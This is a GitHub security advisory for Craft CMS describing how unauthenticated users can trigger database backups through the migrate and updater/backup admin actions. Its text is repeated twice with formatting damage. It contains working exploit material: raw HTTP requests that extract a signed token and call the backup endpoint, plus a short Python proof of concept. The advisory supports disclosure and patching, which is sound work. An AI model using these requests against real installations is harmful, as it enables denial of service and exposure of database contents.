Headline
GHSA-v64r-7wg9-23pr: Unauthenticated Craft CMS users can trigger a database backup
Unauthenticated users can trigger database backup operations via specific admin actions, potentially leading to resource exhaustion or information disclosure.
Users should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.
Craft 3 users should update to the latest Craft 4 and 5 releases, which include the fixes.
Resources:
https://github.com/craftcms/cms/commit/f83d4e0c6b906743206b4747db4abf8164b8da39
https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821—2025-12-04
Affected Endpoints
POST /admin/actions/app/migrate(unauthenticated)POST /admin/actions/updater/backup
Vulnerability Details
Root Cause
Certain admin actions are explicitly configured with anonymous access:
// AppController.php
protected array|bool|int $allowAnonymous = [
'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
// ...
];
// BaseUpdaterController.php
protected array|bool|int $allowAnonymous = self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE;
Attack Vector
- Send unauthenticated POST request to
/admin/actions/app/migrate - If
backupOnUpdateis enabled, triggersCraft::$app->getDb()->backup() - Database backup executes with configured
backupCommand
Reproduction Steps
Prerequisites
- CraftCMS 5.8.19 installation
- Database backups enabled (
backupOnUpdate => truein config) - Target accessible via HTTP
Step-by-Step Reproduction
- I sent a
GETrequest to:
https://host/admin/login
I copied the
CRAFT_CSRF_TOKENfrom theSet-Cookieheader as well as thecsrfTokenValueincluded in the response body.I used those values in the following request to trigger the updater initialization:
POST /admin/actions/updater/index HTTP/1.1
Host: host
Cookie: CRAFT_CSRF_TOKEN=xxxxxx
Content-Type: application/x-www-form-urlencoded
CRAFT_CSRF_TOKEN=xxxxxxxxx
- After this, I examined the response and found the dynamically generated sign key embedded inside:
Craft.Updater("updater").setState({
"status": "Nothing to update.",
"finished": true,
"returnUrl": "dashboard",
"data": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx{\"migrate\":[]}"
})
- I then used that extracted
datavalue to perform a database backup by issuing:
POST /admin/actions/updater/backup HTTP/1.1
Host: host
Cookie: CRAFT_CSRF_TOKEN=xxxx
Content-Type: application/x-www-form-urlencoded
CRAFT_CSRF_TOKEN=xxxxxx&data=xxxxxxxxxxxxxxxxxxxxxxxxxx%7B%22migrate%22%3A%5B%5D%7D
- The server responded successfully, initiating a database backup and returning the backup path:
{
"nextAction": "migrate",
"status": "Updating database…",
"data": "582c1863...{\"migrate\":[],\"dbBackupPath\":\"/home/xxxxx/host/craft-cms/storage/backups/sendbird--2025-11-14-142917--v4.15.0.2.sql\"}"
}
Expected Results
- Success: Database backup initiated (check server logs for backup activity)
- Resource Impact: High CPU/disk usage during backup
- Potential RCE: If
backupCommandis configured with shell commands
Proof of Concept Code
import requests
import re
TARGET = "http://192.168.100.46:8080"
session = requests.Session()
# Get CSRF token
r = session.get(f"{TARGET}/admin/login")
csrf = re.search(r'name="CRAFT_CSRF_TOKEN" value="([^"]+)"', r.text).group(1)
# Trigger backup
r = session.post(f"{TARGET}/admin/actions/app/migrate",
data={"applyProjectConfigChanges": "false"})
print(f"Backup triggered: {r.content}")
Unauthenticated users can trigger database backup operations via specific admin actions, potentially leading to resource exhaustion or information disclosure.
Users should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.
Craft 3 users should update to the latest Craft 4 and 5 releases, which include the fixes.
Resources:
craftcms/cms@f83d4e0
https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821—2025-12-04
Affected Endpoints
- POST /admin/actions/app/migrate (unauthenticated)
- POST /admin/actions/updater/backup
Vulnerability Details****Root Cause
Certain admin actions are explicitly configured with anonymous access:
// AppController.php protected array|bool|int $allowAnonymous = [ ‘migrate’ => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE, // … ];
// BaseUpdaterController.php
protected array|bool|int $allowAnonymous = self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE;
Attack Vector
- Send unauthenticated POST request to /admin/actions/app/migrate
- If backupOnUpdate is enabled, triggers Craft::$app->getDb()->backup()
- Database backup executes with configured backupCommand
Reproduction Steps****Prerequisites
- CraftCMS 5.8.19 installation
- Database backups enabled (backupOnUpdate => true in config)
- Target accessible via HTTP
Step-by-Step Reproduction
- I sent a GET request to:
https://host/admin/login
I copied the CRAFT_CSRF_TOKEN from the Set-Cookie header as well as the csrfTokenValue included in the response body.
I used those values in the following request to trigger the updater initialization:
POST /admin/actions/updater/index HTTP/1.1 Host: host Cookie: CRAFT_CSRF_TOKEN=xxxxxx Content-Type: application/x-www-form-urlencoded
CRAFT_CSRF_TOKEN=xxxxxxxxx
- After this, I examined the response and found the dynamically generated sign key embedded inside:
Craft.Updater(“updater”).setState({ "status": "Nothing to update.", "finished": true, "returnUrl": "dashboard", "data": “xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx{\"migrate\":[]}” })
I then used that extracted data value to perform a database backup by issuing:
POST /admin/actions/updater/backup HTTP/1.1 Host: host Cookie: CRAFT_CSRF_TOKEN=xxxx Content-Type: application/x-www-form-urlencoded
CRAFT_CSRF_TOKEN=xxxxxx&data=xxxxxxxxxxxxxxxxxxxxxxxxxx%7B%22migrate%22%3A%5B%5D%7D
The server responded successfully, initiating a database backup and returning the backup path:
{ "nextAction": "migrate", "status": "Updating database…", "data": “582c1863…{"migrate":[],"dbBackupPath":"/home/xxxxx/host/craft-cms/storage/backups/sendbird–2025-11-14-142917–v4.15.0.2.sql"}” }
Expected Results
- Success: Database backup initiated (check server logs for backup activity)
- Resource Impact: High CPU/disk usage during backup
- Potential RCE: If backupCommand is configured with shell commands
Proof of Concept Code
import requests import re
TARGET = “http://192.168.100.46:8080” session = requests.Session()
# Get CSRF token r = session.get(f"{TARGET}/admin/login") csrf = re.search(r’name="CRAFT_CSRF_TOKEN" value="([^"]+)"’, r.text).group(1)
# Trigger backup r = session.post(f"{TARGET}/admin/actions/app/migrate", data={"applyProjectConfigChanges": “false"}) print(f"Backup triggered: {r.content}”)
References
- GHSA-v64r-7wg9-23pr
- craftcms/cms@f83d4e0
- https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821—2025-12-04